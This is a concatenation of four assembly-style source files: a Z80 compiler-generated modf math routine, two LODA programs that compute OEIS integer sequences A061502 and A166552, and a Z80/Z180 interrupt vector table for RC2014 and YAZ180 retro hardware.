EXTERN ____sdcc_ldi_128 EXTERN ____sdcc_ldi_256 EXTERN ____sdcc_4_copy_srcd_hlix_dst_deix EXTERN ____sdcc_4_and_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_or_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_or_src_dehl_dst_bcix EXTERN ____sdcc_4_xor_src_dehl_dst_bcix EXTERN ____sdcc_4_and_src_dehl_dst_bcix EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_or_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_and_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_cpl_src_mhl_dst_debc EXTERN ____sdcc_4_xor_src_debc_mhl_dst_debc EXTERN ____sdcc_4_or_src_debc_mhl_dst_debc EXTERN ____sdcc_4_and_src_debc_mhl_dst_debc EXTERN ____sdcc_4_and_src_debc_hlix_dst_debc EXTERN ____sdcc_4_or_src_debc_hlix_dst_debc EXTERN ____sdcc_4_xor_src_debc_hlix_dst_debc ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- GLOBAL _am9511_modf ;-------------------------------------------------------- ; Externals used ;-------------------------------------------------------- GLOBAL _hypot_callee GLOBAL _ldexp_callee GLOBAL _frexp_callee GLOBAL _sqrt_fastcall GLOBAL _sqr_fastcall GLOBAL _div2_fastcall GLOBAL _mul2_fastcall GLOBAL _am9511_fmod GLOBAL _am9511_round GLOBAL _floor_fastcall GLOBAL _fabs_fastcall GLOBAL _ceil_fastcall GLOBAL _am9511_exp10 GLOBAL _am9511_exp2 GLOBAL _am9511_log2 GLOBAL _pow_callee GLOBAL _exp_fastcall GLOBAL _log10_fastcall GLOBAL _log_fastcall GLOBAL _am9511_atanh GLOBAL _am9511_acosh GLOBAL _am9511_asinh GLOBAL _am9511_tanh GLOBAL _am9511_cosh GLOBAL _am9511_sinh GLOBAL _am9511_atan2 GLOBAL _atan_fastcall GLOBAL _acos_fastcall GLOBAL _asin_fastcall GLOBAL _tan_fastcall GLOBAL _cos_fastcall GLOBAL _sin_fastcall GLOBAL _exp10_fastcall GLOBAL _exp10 GLOBAL _mul10u_fastcall GLOBAL _mul10u GLOBAL _mul2 GLOBAL _div2 GLOBAL _sqr GLOBAL _fam9511_f32_fastcall GLOBAL _fam9511_f32 GLOBAL _f32_fam9511_fastcall GLOBAL _f32_fam9511 GLOBAL _isunordered_callee GLOBAL _isunordered GLOBAL _islessgreater_callee GLOBAL _islessgreater GLOBAL _islessequal_callee GLOBAL _islessequal GLOBAL _isless_callee GLOBAL _isless GLOBAL _isgreaterequal_callee GLOBAL _isgreaterequal GLOBAL _isgreater_callee GLOBAL _isgreater GLOBAL _fma_callee GLOBAL _fma GLOBAL _fmin_callee GLOBAL _fmin GLOBAL _fmax_callee GLOBAL _fmax GLOBAL _fdim_callee GLOBAL _fdim GLOBAL _nexttoward_callee GLOBAL _nexttoward GLOBAL _nextafter_callee GLOBAL _nextafter GLOBAL _nan_fastcall GLOBAL _nan GLOBAL _copysign_callee GLOBAL _copysign GLOBAL _remquo_callee GLOBAL _remquo GLOBAL _remainder_callee GLOBAL _remainder GLOBAL _fmod_callee GLOBAL _fmod GLOBAL _modf_callee GLOBAL _modf GLOBAL _trunc_fastcall GLOBAL _trunc GLOBAL _lround_fastcall GLOBAL _lround GLOBAL _round_fastcall GLOBAL _round GLOBAL _lrint_fastcall GLOBAL _lrint GLOBAL _rint_fastcall GLOBAL _rint GLOBAL _nearbyint_fastcall GLOBAL _nearbyint GLOBAL _floor GLOBAL _ceil GLOBAL _tgamma_fastcall GLOBAL _tgamma GLOBAL _lgamma_fastcall GLOBAL _lgamma GLOBAL _erfc_fastcall GLOBAL _erfc GLOBAL _erf_fastcall GLOBAL _erf GLOBAL _cbrt_fastcall GLOBAL _cbrt GLOBAL _sqrt GLOBAL _pow GLOBAL _hypot GLOBAL _fabs GLOBAL _logb_fastcall GLOBAL _logb GLOBAL _log2_fastcall GLOBAL _log2 GLOBAL _log1p_fastcall GLOBAL _log1p GLOBAL _log10 GLOBAL _log GLOBAL _scalbln_callee GLOBAL _scalbln GLOBAL _scalbn_callee GLOBAL _scalbn GLOBAL _ldexp GLOBAL _ilogb_fastcall GLOBAL _ilogb GLOBAL _frexp GLOBAL _expm1_fastcall GLOBAL _expm1 GLOBAL _exp2_fastcall GLOBAL _exp2 GLOBAL _exp GLOBAL _tanh_fastcall GLOBAL _tanh GLOBAL _sinh_fastcall GLOBAL _sinh GLOBAL _cosh_fastcall GLOBAL _cosh GLOBAL _atanh_fastcall GLOBAL _atanh GLOBAL _asinh_fastcall GLOBAL _asinh GLOBAL _acosh_fastcall GLOBAL _acosh GLOBAL _tan GLOBAL _sin GLOBAL _cos GLOBAL _atan2_callee GLOBAL _atan2 GLOBAL _atan GLOBAL _asin GLOBAL _acos ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- SECTION bss_compiler ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- IF 0 ; .area _INITIALIZED removed by z88dk ENDIF ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- SECTION IGNORE ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- SECTION code_crt_init ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- SECTION IGNORE ;-------------------------------------------------------- ; code ;-------------------------------------------------------- SECTION code_compiler ; --------------------------------- ; Function am9511_modf ; --------------------------------- _am9511_modf: push ix ld ix,0 add ix,sp ld l,(ix+8) ld h,(ix+9) push hl ld hl,0x0000 push hl push hl ld l,(ix+6) ld h,(ix+7) push hl ld l,(ix+4) ld h,(ix+5) push hl call ___fslt_callee ld a, l or a, a jr Z,l_am9511_modf_00102 ld l,(ix+4) ld h,(ix+5) ld e,(ix+6) ld d,(ix+7) call _ceil_fastcall ld c, l ld b, h pop hl push hl ld (hl), c inc hl ld (hl), b inc hl ld (hl), e inc hl ld (hl), d jr l_am9511_modf_00103 l_am9511_modf_00102: ld l,(ix+4) ld h,(ix+5) ld e,(ix+6) ld d,(ix+7) call _floor_fastcall ld c, l ld b, h pop hl push hl ld (hl), c inc hl ld (hl), b inc hl ld (hl), e inc hl ld (hl), d l_am9511_modf_00103: pop hl ld c,(hl) push hl inc hl ld b, (hl) inc hl ld e, (hl) inc hl ld d, (hl) push de push bc ld l,(ix+6) ld h,(ix+7) push hl ld l,(ix+4) ld h,(ix+5) push hl call ___fssub ld sp,ix pop ix ret SECTION IGNORE
; A061502: a(n) = Sum_{k<=n} tau(k)^2, where tau = number of divisors function A000005. ; 1,5,9,18,22,38,42,58,67,83,87,123,127,143,159,184,188,224,228,264,280,296,300,364,373,389,405,441,445,509,513,549,565,581,597,678,682,698,714,778,782,846,850,886,922,938,942,1042,1051,1087,1103,1139,1143,1207,1223,1287,1303,1319,1323,1467,1471,1487,1523,1572,1588,1652,1656,1692,1708,1772,1776,1920,1924,1940,1976,2012,2028,2092,2096,2196,2221,2237,2241,2385,2401,2417,2433,2497,2501,2645,2661,2697,2713,2729,2745,2889,2893,2929,2965,3046,3050,3114,3118,3182,3246,3262,3266,3410,3414,3478,3494,3594,3598,3662,3678,3714,3750,3766,3782,4038,4047,4063,4079,4115,4131,4275,4279,4343,4359,4423,4427,4571,4587,4603,4667,4731,4735,4799,4803,4947,4963,4979,4995,5220,5236,5252,5288,5324,5328,5472,5476,5540,5576,5640,5656,5800,5804,5820,5836,5980,5996,6096,6100,6136,6200,6216,6220,6476,6485,6549,6585,6621,6625,6689,6725,6825,6841,6857,6861,7185,7189,7253,7269,7333,7349,7413,7429,7465,7529,7593,7597,7793,7797,7813,7877,7958,7962,8106,8110,8254,8270,8286,8302,8446,8462,8478,8514,8614,8630,8886,8890,8926,8942,8958,8974,9230,9246,9262,9278,9422,9438,9502,9506,9650,9731,9747,9751,9895,9899,9963,10027,10091,10095,10239,10255,10291,10307,10371,10375,10775,10779,10815,10851,10887,10923,10987,11003,11067,11083,11147 mov $2,$0 add $2,1 mov $4,$0 lpb $2,1 mov $0,$4 sub $2,1 sub $0,$2 cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. pow $0,2 mul $0,2 mov $3,$0 sub $3,2 div $3,2 add $3,1 add $1,$3 lpe
;============================================================================== ; Contents of this file are copyright Phillip Stevens ; ; You have permission to use this for NON COMMERCIAL USE ONLY ; If you wish to use it elsewhere, please include an acknowledgement to myself. ; ; https://github.com/feilipu/ ; ; https://feilipu.me/ ; ;============================================================================== ; ; REQUIRES ; ; INCLUDE "yaz180.h" ; OR ; INCLUDE "rc2014.h" ; INCLUDE "yaz180.h" INCLUDE "rc2014.h" ;============================================================================== ; ; Z80 INTERRUPT ORIGINATING VECTOR TABLE ; SECTION z80_vector_rst EXTERN INIT ;------------------------------------------------------------------------------ ; RST 00 - RESET / TRAP DEFS 0x0000 - ASMPC ; ORG 0000H DI ; Disable interrupts JP INIT ; Initialize Hardware and go ;------------------------------------------------------------------------------ ; RST 08 DEFS 0x0008 - ASMPC ; ORG 0008H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_08_LBL ;------------------------------------------------------------------------------ ; RST 10 DEFS 0x0010 - ASMPC ; ORG 0010H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_10_LBL ;------------------------------------------------------------------------------ ; RST 18 DEFS 0x0018 - ASMPC ; ORG 0018H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_18_LBL ;------------------------------------------------------------------------------ ; RST 20 DEFS 0x0020 - ASMPC ; ORG 0020H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_20_LBL ;------------------------------------------------------------------------------ ; RST 28 DEFS 0x0028 - ASMPC ; ORG 0028H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_28_LBL ;------------------------------------------------------------------------------ ; RST 30 DEFS 0x0030 - ASMPC ; ORG 0030H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_30_LBL ;------------------------------------------------------------------------------ ; RST 38 - INTERRUPT VECTOR INT0 [ with IM 1 ] DEFS 0x0038 - ASMPC ; ORG 0038H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+INT_INT0_LBL ;============================================================================== ; ; Z80 INTERRUPT VECTOR TABLE PROTOTYPE ; ; WILL BE DUPLICATED DURING INIT TO: ; ; ORG Z80_VECTOR_BASE SECTION z80_vector_table_prototype EXTERN Z180_TRAP EXTERN RST_08, RST_10, RST_18, RST_20, RST_28, RST_30 EXTERN INT_INT0, INT_NMI Z180_TRAP_LBL: JP Z180_TRAP NOP RST_08_LBL: JP RST_08 NOP RST_10_LBL: JP RST_10 NOP RST_18_LBL: JP RST_18 NOP RST_20_LBL: JP RST_20 NOP RST_28_LBL: JP RST_28 NOP RST_30_LBL: JP RST_30 NOP INT_INT0_LBL: JP INT_INT0 NOP INT_NMI_LBL: JP INT_NMI NOP ;------------------------------------------------------------------------------ ; NULL RETURN INSTRUCTIONS SECTION z80_vector_null_ret PUBLIC NULL_NMI, NULL_INT, NULL_RET NULL_NMI: RETN NULL_INT: EI RETI NULL_RET: RET ;------------------------------------------------------------------------------ ; NMI - INTERRUPT VECTOR NMI SECTION z80_vector_nmi JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+INT_NMI_LBL ;==============================================================================
; A166552: a(n) = 3*a(n-2) for n > 2; a(1) = 1; a(2) = 4. ; 1,4,3,12,9,36,27,108,81,324,243,972,729,2916,2187,8748,6561,26244,19683,78732,59049,236196,177147,708588,531441,2125764,1594323,6377292,4782969,19131876,14348907,57395628,43046721,172186884,129140163,516560652,387420489,1549681956,1162261467,4649045868,3486784401,13947137604,10460353203,41841412812,31381059609,125524238436,94143178827,376572715308,282429536481,1129718145924,847288609443,3389154437772,2541865828329,10167463313316,7625597484987,30502389939948,22876792454961,91507169819844,68630377364883,274521509459532,205891132094649,823564528378596,617673396283947,2470693585135788,1853020188851841,7412080755407364,5559060566555523 mov $4,$0 add $0,1 gcd $0,2 mov $1,3 mov $2,2 div $4,2 add $4,3 pow $1,$4 lpb $0,1 mul $2,2 mov $3,5 trn $3,$2 mov $0,$3 mul $1,2 lpe sub $1,27 div $1,27 add $1,1